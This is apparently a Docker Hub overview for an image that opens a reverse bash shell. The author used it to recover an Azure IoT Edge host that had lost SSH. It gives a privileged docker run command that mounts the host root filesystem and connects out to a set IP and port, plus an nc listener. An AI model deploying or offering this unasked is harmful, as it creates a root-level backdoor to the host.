enterz1983/reverseshell repository overview

This image will create a reverse bash shell to $IP and $PORT.

⁠BE AWARE: POTENTIALLY SECURITY RISK

Can be used to troubleshoot things on the docker host when running privileged and when host root file system mounted. My use-case was a docker host stopped running SSH server so was not accessible while Azure IoT Edge was still running it's things. Deploying this image as a module I was able to figure out the problem and fix it.

⁠Usage

This will create a reverse shell to 10.10.0.5 on port 5555.

docker run -ti --rm --privileged -e IP=10.10.0.5 -e PORT=5555 -v /:/home/host enterz1983/reverseshell

On the 'server' side run the following to listen for incoming connections on port 5555.

nc -l 5555
